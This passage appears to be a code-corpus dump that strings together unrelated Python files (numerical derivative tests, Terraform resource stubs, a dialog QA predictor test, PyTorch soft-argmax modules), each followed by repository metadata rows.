[ 6, 0, 0, 0, 38, 6 , 1 , 0 , 0 , 0, 1, 0],
[ 32, 0, 0, 1, 2, 81 , 5 , 1 , 0 , 0 , 0, 0],
[ 6, 0, 0, 0, 0, 2 , 20 , 1 , 0 , 0 , 0, 0],
[ 9, 0, 0, 0, 6, 0 , 1 , 15 , 0 ,0 , 0, 0],
[ 1, 0, 0, 0, 0, 1, 0, 0, 38 , 0 , 0, 1],
[ 1, 0, 0, 0, 0, 0, 0, 0, 0 , 2 , 0 , 0],
[ 1, 0, 1, 0, 1, 0, 0, 0, 0, 0 ,31 , 0],
[ 2, 0, 0, 0, 1, 0, 0 , 0, 0, 0, 0, 11]]
df_cm = pd.DataFrame(array, range(len(array)), range(len(array)))
plt.figure(figsize = (10,7))
sn.set(font_scale=1.4)
sn.heatmap(df_cm, annot=True,annot_kws={"size": 16})# font size
| 43.291667 | 70 | 0.346487 | 195 | 1,039 | 1.825641 | 0.246154 | 0.359551 | 0.36236 | 0.314607 | 0.308989 | 0.213483 | 0.185393 | 0.174157 | 0.151685 | 0.073034 | 0 | 0.283247 | 0.442733 | 1,039 | 23 | 71 | 45.173913 | 0.331606 | 0.029836 | 0 | 0 | 0 | 0 | 0.00398 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.157895 | 0 | 0.157895 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7651877017b092874f87f27073ef8923979b9ec4 | 65 | py | Python | src/hcb/codes/__init__.py | Strilanc/honeycomb-boundaries | cc33baac44c7831bd643db81d0053f8ec6eae9d8 | [
"Apache-2.0"
] | null | null | null | src/hcb/codes/__init__.py | Strilanc/honeycomb-boundaries | cc33baac44c7831bd643db81d0053f8ec6eae9d8 | [
"Apache-2.0"
] | 2 | 2022-02-25T22:28:24.000Z | 2022-03-23T21:09:04.000Z | src/hcb/codes/__init__.py | Strilanc/honeycomb-boundaries | cc33baac44c7831bd643db81d0053f8ec6eae9d8 | [
"Apache-2.0"
] | null | null | null | from .surface.memory import generate_surface_code_memory_problem
| 32.5 | 64 | 0.907692 | 9 | 65 | 6.111111 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061538 | 65 | 1 | 65 | 65 | 0.901639 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7693975e7da7cb504503c465610765fa117a5648 | 312 | py | Python | egegl/models/expert/__init__.py | elix-tech/infrag | e5fa6b91659ed94e64ffbb3272b90fd3618e017e | [
"MIT"
] | 1 | 2021-09-28T09:38:28.000Z | 2021-09-28T09:38:28.000Z | egegl/models/expert/__init__.py | elix-tech/infrag | e5fa6b91659ed94e64ffbb3272b90fd3618e017e | [
"MIT"
] | null | null | null | egegl/models/expert/__init__.py | elix-tech/infrag | e5fa6b91659ed94e64ffbb3272b90fd3618e017e | [
"MIT"
] | 1 | 2021-11-19T11:10:54.000Z | 2021-11-19T11:10:54.000Z | """
Copyright (c) 2021 Elix, Inc.
"""
from .ge_operations.crossover import crossover
from .ge_operations.fragment_crossover import fragment_crossover
from .ge_operations.mutate import mutate
from .ge_operations.selfies_crossover import selfies_crossover
from .ge_operations.selfies_mutate import selfies_mutate
| 31.2 | 64 | 0.846154 | 41 | 312 | 6.170732 | 0.317073 | 0.118577 | 0.316206 | 0.296443 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014085 | 0.089744 | 312 | 9 | 65 | 34.666667 | 0.876761 | 0.092949 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
76bd210d045e0384ae5c7884380d6166916aa290 | 274 | py | Python | app/app/api/domain/services/factories/ExerciseEvaluationQueryRepositoryFactory.py | GPortas/Playgroundb | 60f98a4dd62ce34fbb8abfa0d9ee63697e82c57e | [
"Apache-2.0"
] | 1 | 2019-01-30T19:59:20.000Z | 2019-01-30T19:59:20.000Z | app/app/api/domain/services/factories/ExerciseEvaluationQueryRepositoryFactory.py | GPortas/Playgroundb | 60f98a4dd62ce34fbb8abfa0d9ee63697e82c57e | [
"Apache-2.0"
] | null | null | null | app/app/api/domain/services/factories/ExerciseEvaluationQueryRepositoryFactory.py | GPortas/Playgroundb | 60f98a4dd62ce34fbb8abfa0d9ee63697e82c57e | [
"Apache-2.0"
] | null | null | null | from app.api.data.query.ExerciseEvaluationMongoQueryRepository import ExerciseEvaluationMongoQueryRepository
class ExerciseEvaluationQueryRepositoryFactory:
def create_exercise_evaluation_query_repository(self):
return ExerciseEvaluationMongoQueryRepository()
| 39.142857 | 108 | 0.875912 | 19 | 274 | 12.421053 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087591 | 274 | 6 | 109 | 45.666667 | 0.944 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
96d6662a52f382a2dd59a78e81942445cbc71582 | 10,680 | py | Python | tests/test_derivatives.py | MothVine/DESC | 8f18ca63b34dad07ec67a4d43945d39287b303b8 | [
"MIT"
] | 9 | 2021-07-27T13:12:46.000Z | 2022-03-30T12:28:07.000Z | tests/test_derivatives.py | MothVine/DESC | 8f18ca63b34dad07ec67a4d43945d39287b303b8 | [
"MIT"
] | 97 | 2021-06-20T02:42:12.000Z | 2022-03-29T20:54:14.000Z | tests/test_derivatives.py | MothVine/DESC | 8f18ca63b34dad07ec67a4d43945d39287b303b8 | [
"MIT"
] | 3 | 2020-11-14T23:25:39.000Z | 2021-05-13T20:05:36.000Z | import unittest
import numpy as np
from desc.backend import jnp
from desc.derivatives import AutoDiffDerivative, FiniteDiffDerivative
from numpy.random import default_rng
class TestDerivative(unittest.TestCase):
"""Tests Grid classes"""
def test_finite_diff_vec(self):
def test_fun(x, y, a):
return x * y + a
x = np.array([1, 5, 0.01, 200])
y = np.array([60, 1, 100, 0.02])
a = -2
jac = FiniteDiffDerivative(test_fun, argnum=0)
J = jac.compute(x, y, a)
correct_J = np.diag(y)
np.testing.assert_allclose(J, correct_J, atol=1e-8)
def test_finite_diff_scalar(self):
def test_fun(x, y, a):
return np.dot(x, y) + a
x = np.array([1, 5, 0.01, 200])
y = np.array([60, 1, 100, 0.02])
a = -2
jac = FiniteDiffDerivative(test_fun, argnum=0)
J = jac.compute(x, y, a)
correct_J = y
np.testing.assert_allclose(J, correct_J, atol=1e-8)
jac.argnum = 1
J = jac.compute(x, y, a)
np.testing.assert_allclose(J, x, atol=1e-8)
def test_auto_diff(self):
def test_fun(x, y, a):
return jnp.cos(x) + x * y + a
x = np.array([1, 5, 0.01, 200])
y = np.array([60, 1, 100, 0.02])
a = -2
jac = AutoDiffDerivative(test_fun, argnum=0)
J = jac.compute(x, y, a)
correct_J = np.diag(-np.sin(x) + y)
np.testing.assert_allclose(J, correct_J, atol=1e-8)
def test_compare_AD_FD(self):
def test_fun(x, y, a):
return jnp.cos(x) + x * y + a
x = np.array([1, 5, 0.01, 200])
y = np.array([60, 1, 100, 0.02])
a = -2
jac_AD = AutoDiffDerivative(test_fun, argnum=0)
J_AD = jac_AD.compute(x, y, a)
jac_FD = AutoDiffDerivative(test_fun, argnum=0)
J_FD = jac_FD.compute(x, y, a)
np.testing.assert_allclose(J_FD, J_AD, atol=1e-8)
def test_fd_hessian(self):
rando = default_rng(seed=0)
n = 5
A = rando.random((n, n))
A = A + A.T
g = rando.random(n)
def f(x):
return 5 + g.dot(x) + x.dot(1 / 2 * A.dot(x))
hess = FiniteDiffDerivative(f, argnum=0, mode="hess")
y = rando.random(n)
A1 = hess(y)
np.testing.assert_allclose(A1, A)
def test_block_jacobian(self):
rando = default_rng(seed=0)
A = rando.random((19, 17))
def fun(x):
return jnp.dot(A, x)
x = rando.random(17)
jac = AutoDiffDerivative(fun, block_size=4, shape=A.shape)
np.testing.assert_allclose(jac(x), A)
jac = AutoDiffDerivative(fun, num_blocks=3, shape=A.shape)
np.testing.assert_allclose(jac(x), A)
class TestJVP(unittest.TestCase):
@staticmethod
def fun(x, c1, c2):
Amat = np.arange(12).reshape((4, 3))
return jnp.dot(Amat, (x + c1 * c2) ** 3)
x = np.ones(3).astype(float)
c1 = np.arange(3).astype(float)
c2 = np.arange(3).astype(float) + 2
dx = np.array([1, 2, 3]).astype(float)
dc1 = np.array([3, 4, 5]).astype(float)
dc2 = np.array([-3, 1, -2]).astype(float)
def test_autodiff_jvp(self):
df = AutoDiffDerivative.compute_jvp(
self.fun, 0, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([1554.0, 4038.0, 6522.0, 9006.0]))
df = AutoDiffDerivative.compute_jvp(
self.fun, 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([10296.0, 26658.0, 43020.0, 59382.0]))
df = AutoDiffDerivative.compute_jvp(
self.fun, (0, 2), (self.dx, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([-342.0, -630.0, -918.0, -1206.0]))
def test_finitediff_jvp(self):
df = FiniteDiffDerivative.compute_jvp(
self.fun, 0, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([1554.0, 4038.0, 6522.0, 9006.0]))
df = FiniteDiffDerivative.compute_jvp(
self.fun, 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([10296.0, 26658.0, 43020.0, 59382.0]))
df = FiniteDiffDerivative.compute_jvp(
self.fun, (0, 2), (self.dx, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([-342.0, -630.0, -918.0, -1206.0]))
def test_autodiff_jvp2(self):
df = AutoDiffDerivative.compute_jvp2(
self.fun, 0, 0, self.dx + 1, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([1440.0, 3852.0, 6264.0, 8676.0]))
df = AutoDiffDerivative.compute_jvp2(
self.fun, 1, 1, self.dc1 + 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([56160.0, 147744.0, 239328.0, 330912.0])
)
df = AutoDiffDerivative.compute_jvp2(
self.fun, 0, 2, self.dx, self.dc2, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([-1248.0, -3048.0, -4848.0, -6648.0]))
df = AutoDiffDerivative.compute_jvp2(
self.fun, 0, (1, 2), self.dx, (self.dc1, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([5808.0, 15564.0, 25320.0, 35076.0]))
df = AutoDiffDerivative.compute_jvp2(
self.fun,
(1, 2),
(1, 2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(df, np.array([22368.0, 63066.0, 103764.0, 144462.0]))
df = AutoDiffDerivative.compute_jvp2(
self.fun, 0, (1, 2), self.dx, (self.dc1, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([5808.0, 15564.0, 25320.0, 35076.0]))
def test_finitediff_jvp2(self):
df = FiniteDiffDerivative.compute_jvp2(
self.fun, 0, 0, self.dx + 1, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([1440.0, 3852.0, 6264.0, 8676.0]))
df = FiniteDiffDerivative.compute_jvp2(
self.fun, 1, 1, self.dc1 + 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([56160.0, 147744.0, 239328.0, 330912.0])
)
df = FiniteDiffDerivative.compute_jvp2(
self.fun, 0, 2, self.dx, self.dc2, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([-1248.0, -3048.0, -4848.0, -6648.0]))
df = FiniteDiffDerivative.compute_jvp2(
self.fun, 0, (1, 2), self.dx, (self.dc1, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([5808.0, 15564.0, 25320.0, 35076.0]))
df = FiniteDiffDerivative.compute_jvp2(
self.fun,
(1, 2),
(1, 2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(df, np.array([22368.0, 63066.0, 103764.0, 144462.0]))
df = FiniteDiffDerivative.compute_jvp2(
self.fun, 0, (1, 2), self.dx, (self.dc1, self.dc2), self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([5808.0, 15564.0, 25320.0, 35076.0]))
def test_autodiff_jvp3(self):
df = AutoDiffDerivative.compute_jvp3(
self.fun, 0, 0, 0, self.dx + 1, self.dx, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([504.0, 1404.0, 2304.0, 3204.0]))
df = AutoDiffDerivative.compute_jvp3(
self.fun, 0, 1, 1, self.dx, self.dc1 + 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(df, np.array([19440.0, 52704.0, 85968.0, 119232.0]))
df = AutoDiffDerivative.compute_jvp3(
self.fun, 0, 1, 2, self.dx, self.dc1, self.dc2, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([-5784.0, -14118.0, -22452.0, -30786.0])
)
df = AutoDiffDerivative.compute_jvp3(
self.fun,
0,
0,
(1, 2),
self.dx,
self.dx,
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(df, np.array([2040.0, 5676.0, 9312.0, 12948.0]))
df = AutoDiffDerivative.compute_jvp3(
self.fun,
(1, 2),
(1, 2),
(1, 2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(
df, np.array([-33858.0, -55584.0, -77310.0, -99036.0])
)
def test_finitediff_jvp3(self):
df = FiniteDiffDerivative.compute_jvp3(
self.fun, 0, 0, 0, self.dx + 1, self.dx, self.dx, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([504.0, 1404.0, 2304.0, 3204.0]), rtol=1e-4
)
df = FiniteDiffDerivative.compute_jvp3(
self.fun, 0, 1, 1, self.dx, self.dc1 + 1, self.dc1, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([19440.0, 52704.0, 85968.0, 119232.0]), rtol=1e-4
)
df = FiniteDiffDerivative.compute_jvp3(
self.fun, 0, 1, 2, self.dx, self.dc1, self.dc2, self.x, self.c1, self.c2
)
np.testing.assert_allclose(
df, np.array([-5784.0, -14118.0, -22452.0, -30786.0]), rtol=1e-4
)
df = FiniteDiffDerivative.compute_jvp3(
self.fun,
0,
0,
(1, 2),
self.dx,
self.dx,
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(
df, np.array([2040.0, 5676.0, 9312.0, 12948.0]), rtol=1e-4
)
df = FiniteDiffDerivative.compute_jvp3(
self.fun,
(1, 2),
(1, 2),
(1, 2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
(self.dc1, self.dc2),
self.x,
self.c1,
self.c2,
)
np.testing.assert_allclose(
df, np.array([-33858.0, -55584.0, -77310.0, -99036.0]), rtol=1e-4
)
| 33.479624 | 88 | 0.533052 | 1,544 | 10,680 | 3.610104 | 0.100389 | 0.048977 | 0.096878 | 0.148547 | 0.839612 | 0.823107 | 0.798708 | 0.766416 | 0.726588 | 0.707212 | 0 | 0.134052 | 0.31339 | 10,680 | 318 | 89 | 33.584906 | 0.626074 | 0.001685 | 0 | 0.609665 | 0 | 0 | 0.000375 | 0 | 0 | 0 | 0 | 0 | 0.133829 | 1 | 0.070632 | false | 0 | 0.018587 | 0.022305 | 0.144981 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
96f0f997e8b1212818676f15e5230c53e58c694d | 95 | py | Python | katas/kyu_8/repeat_it.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/kyu_8/repeat_it.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/kyu_8/repeat_it.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | def repeat_it(string, n):
return string * n if isinstance(string, str) else 'Not a string'
| 31.666667 | 68 | 0.705263 | 16 | 95 | 4.125 | 0.75 | 0.212121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.189474 | 95 | 2 | 69 | 47.5 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.126316 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
96f8f7ef87c8b273a2348dc0c0fb934f9da2a82f | 24 | py | Python | hermes/language/__init__.py | dbracewell/pyHermes | 09964eb566b74d1d3ae2b99849b06c4d07242e5b | [
"Apache-2.0"
] | null | null | null | hermes/language/__init__.py | dbracewell/pyHermes | 09964eb566b74d1d3ae2b99849b06c4d07242e5b | [
"Apache-2.0"
] | null | null | null | hermes/language/__init__.py | dbracewell/pyHermes | 09964eb566b74d1d3ae2b99849b06c4d07242e5b | [
"Apache-2.0"
] | null | null | null | from .language import *
| 12 | 23 | 0.75 | 3 | 24 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8c2da4b5937893067dc0266b58695aed719a124a | 444 | py | Python | terrascript/nomad/r.py | hugovk/python-terrascript | 08fe185904a70246822f5cfbdc9e64e9769ec494 | [
"BSD-2-Clause"
] | null | null | null | terrascript/nomad/r.py | hugovk/python-terrascript | 08fe185904a70246822f5cfbdc9e64e9769ec494 | [
"BSD-2-Clause"
] | null | null | null | terrascript/nomad/r.py | hugovk/python-terrascript | 08fe185904a70246822f5cfbdc9e64e9769ec494 | [
"BSD-2-Clause"
] | null | null | null | # terrascript/nomad/r.py
import terrascript
class nomad_acl_policy(terrascript.Resource):
pass
class nomad_acl_token(terrascript.Resource):
pass
class nomad_job(terrascript.Resource):
pass
class nomad_namespace(terrascript.Resource):
pass
class nomad_quota_specification(terrascript.Resource):
pass
class nomad_sentinel_policy(terrascript.Resource):
pass
class nomad_volume(terrascript.Resource):
pass
| 14.322581 | 54 | 0.777027 | 52 | 444 | 6.423077 | 0.326923 | 0.209581 | 0.482036 | 0.502994 | 0.628743 | 0.233533 | 0 | 0 | 0 | 0 | 0 | 0 | 0.150901 | 444 | 30 | 55 | 14.8 | 0.885942 | 0.04955 | 0 | 0.466667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.466667 | 0.066667 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
8c4194478f1bf43813dd29724c3eec4fe13d2aef | 5,052 | py | Python | tests/rc/predictors/dialog_qa_test.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 402 | 2020-03-11T22:58:35.000Z | 2022-03-29T09:05:27.000Z | tests/rc/predictors/dialog_qa_test.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 116 | 2020-03-11T01:26:57.000Z | 2022-03-25T13:03:56.000Z | tests/rc/predictors/dialog_qa_test.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 140 | 2020-03-11T00:51:35.000Z | 2022-03-29T09:05:36.000Z | from allennlp.models.archival import load_archive
from allennlp.predictors import Predictor
from tests import FIXTURES_ROOT
class TestDialogQAPredictor:
def test_uses_named_inputs(self):
inputs = {
"paragraphs": [
{
"qas": [
{
"followup": "y",
"yesno": "x",
"question": "When was the first one?",
"answers": [{"answer_start": 0, "text": "One time"}],
"id": "C_q#0",
},
{
"followup": "n",
"yesno": "x",
"question": "What were you doing?",
"answers": [{"answer_start": 15, "text": "writing a"}],
"id": "C_q#1",
},
{
"followup": "m",
"yesno": "y",
"question": "How often?",
"answers": [{"answer_start": 4, "text": "time I"}],
"id": "C_q#2",
},
],
"context": "One time I was writing a unit test,\
and it succeeded on the first attempt.",
}
]
}
archive = load_archive(
FIXTURES_ROOT / "rc" / "dialog_qa" / "serialization" / "model.tar.gz"
)
predictor = Predictor.from_archive(archive, "dialog_qa")
result = predictor.predict_json(inputs)
best_span_str_list = result.get("best_span_str")
for best_span_str in best_span_str_list:
assert isinstance(best_span_str, str)
assert best_span_str != ""
def test_batch_prediction(self):
inputs = [
{
"paragraphs": [
{
"qas": [
{
"followup": "y",
"yesno": "x",
"question": "When was the first one?",
"answers": [{"answer_start": 0, "text": "One time"}],
"id": "C_q#0",
},
{
"followup": "n",
"yesno": "x",
"question": "What were you doing?",
"answers": [{"answer_start": 15, "text": "writing a"}],
"id": "C_q#1",
},
{
"followup": "m",
"yesno": "y",
"question": "How often?",
"answers": [{"answer_start": 4, "text": "time I"}],
"id": "C_q#2",
},
],
"context": "One time I was writing a unit test,\
and it succeeded on the first attempt.",
}
]
},
{
"paragraphs": [
{
"qas": [
{
"followup": "y",
"yesno": "x",
"question": "When was the first one?",
"answers": [{"answer_start": 0, "text": "One time"}],
"id": "C_q#0",
},
{
"followup": "n",
"yesno": "x",
"question": "What were you doing?",
"answers": [{"answer_start": 15, "text": "writing a"}],
"id": "C_q#1",
},
{
"followup": "m",
"yesno": "y",
"question": "How often?",
"answers": [{"answer_start": 4, "text": "time I"}],
"id": "C_q#2",
},
],
"context": "One time I was writing a unit test,\
and it succeeded on the first attempt.",
}
]
},
]
archive = load_archive(
FIXTURES_ROOT / "rc" / "dialog_qa" / "serialization" / "model.tar.gz"
)
predictor = Predictor.from_archive(archive, "dialog_qa")
results = predictor.predict_batch_json(inputs)
assert len(results) == 2
| 40.416 | 87 | 0.305819 | 344 | 5,052 | 4.340116 | 0.25 | 0.078366 | 0.108506 | 0.044206 | 0.747488 | 0.747488 | 0.747488 | 0.747488 | 0.747488 | 0.747488 | 0 | 0.010372 | 0.580166 | 5,052 | 124 | 88 | 40.741935 | 0.693541 | 0 | 0 | 0.568966 | 0 | 0 | 0.171813 | 0 | 0 | 0 | 0 | 0 | 0.025862 | 1 | 0.017241 | false | 0 | 0.025862 | 0 | 0.051724 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4fce610faca889ec8646a95d9cbc176ef47a31e8 | 7,171 | py | Python | pedrec/utils/torch_utils/torch_modules.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | 1 | 2022-03-09T01:24:10.000Z | 2022-03-09T01:24:10.000Z | pedrec/utils/torch_utils/torch_modules.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | null | null | null | pedrec/utils/torch_utils/torch_modules.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | null | null | null | from typing import Optional, Tuple
import torch
import torch.nn as nn
import torch.nn.functional as F
from pedrec.utils.torch_utils.torch_helper import create_meshgrid, create_linspace
class DepthRegression(nn.Module):
def __init__(self) -> None:
super(DepthRegression, self).__init__()
def forward(self, input: torch.Tensor, pose_heatmap: torch.Tensor) -> torch.Tensor:
if not torch.is_tensor(input):
raise TypeError("Input input type is not a torch.Tensor. Got {}"
.format(type(input)))
if not len(input.shape) == 4:
raise ValueError("Invalid input shape, we expect BxCxHxW. Got: {}"
.format(input.shape))
# unpack shapes and create view from input tensor
batch_size, channels, height, width = input.shape
x: torch.Tensor = input.view(batch_size, channels, -1)
x_sigmoid: torch.Tensor = torch.sigmoid(x)
result = torch.sum(x_sigmoid * pose_heatmap, -1, keepdim=True)
return result
class SoftArgmax1d(nn.Module):
"""
Soft Argmax 1D
"""
def __init__(self, norm_val = 1.0, normalized_coordinates: Optional[bool] = True) -> None:
super(SoftArgmax1d, self).__init__()
self.normalized_coordinates: Optional[bool] = normalized_coordinates
self.norm_val = norm_val
def forward(self, input: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:
if not torch.is_tensor(input):
raise TypeError("Input input type is not a torch.Tensor. Got {}"
.format(type(input)))
# if not len(input.shape) == 2:
# raise ValueError("Invalid input shape, we expect BxCxHxW. Got: {}"
# .format(input.shape))
# unpack shapes and create view from input tensor
# x: torch.Tensor = input.view(batch_size, channels, -1)
# input_a = input[0][0].detach().cpu().numpy()
#
# plt.imshow(input_a, cmap='hot', interpolation='nearest')
# plt.show()
# Softmax
x_soft: torch.Tensor = F.softmax(input * self.norm_val, dim=-1)
pos_x = create_linspace(input, self.normalized_coordinates)
expected_x: torch.Tensor = torch.sum(pos_x * x_soft, -1, keepdim=True)
return x_soft, expected_x # BxNx2
class SoftArgmax2d(nn.Module):
r"""Creates a module that computes the Spatial Soft-Argmax 2D
of a given input heatmap.
Returns the index of the maximum 2d coordinates of the give map.
The output order is x-coord and y-coord.
Arguments:
normalized_coordinates (Optional[bool]): wether to return the
coordinates normalized in the range of [-1, 1]. Otherwise,
it will return the coordinates in the range of the input shape.
Default is True.
Shape:
- Input: :math:`(B, N, H, W)`
- Output: :math:`(B, N, 2)`
Examples::
>>> input = torch.rand(1, 4, 2, 3)
>>> m = tgm.losses.SpatialSoftArgmax2d()
>>> coords = m(input) # 1x4x2
>>> x_coord, y_coord = torch.chunk(coords, dim=-1, chunks=2)
"""
def __init__(self, norm_val: float = 1.0, normalized_coordinates: Optional[bool] = True) -> None:
super(SoftArgmax2d, self).__init__()
self.normalized_coordinates: Optional[bool] = normalized_coordinates
self.norm_val = norm_val
def forward(self, input: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:
if not torch.is_tensor(input):
raise TypeError("Input input type is not a torch.Tensor. Got {}"
.format(type(input)))
if not len(input.shape) == 4:
raise ValueError("Invalid input shape, we expect BxCxHxW. Got: {}"
.format(input.shape))
# unpack shapes and create view from input tensor
batch_size, channels, height, width = input.shape
x: torch.Tensor = input.view(batch_size, channels, -1)
# input_a = input[0][0].detach().cpu().numpy()
#
# plt.imshow(input_a, cmap='hot', interpolation='nearest')
# plt.show()
# Softmax
x_soft: torch.Tensor = F.softmax(x * self.norm_val, dim=-1)
pos_y, pos_x = create_meshgrid(input, self.normalized_coordinates)
pos_x = pos_x.reshape(-1)
pos_y = pos_y.reshape(-1)
expected_x: torch.Tensor = torch.sum(pos_x * x_soft, -1, keepdim=True)
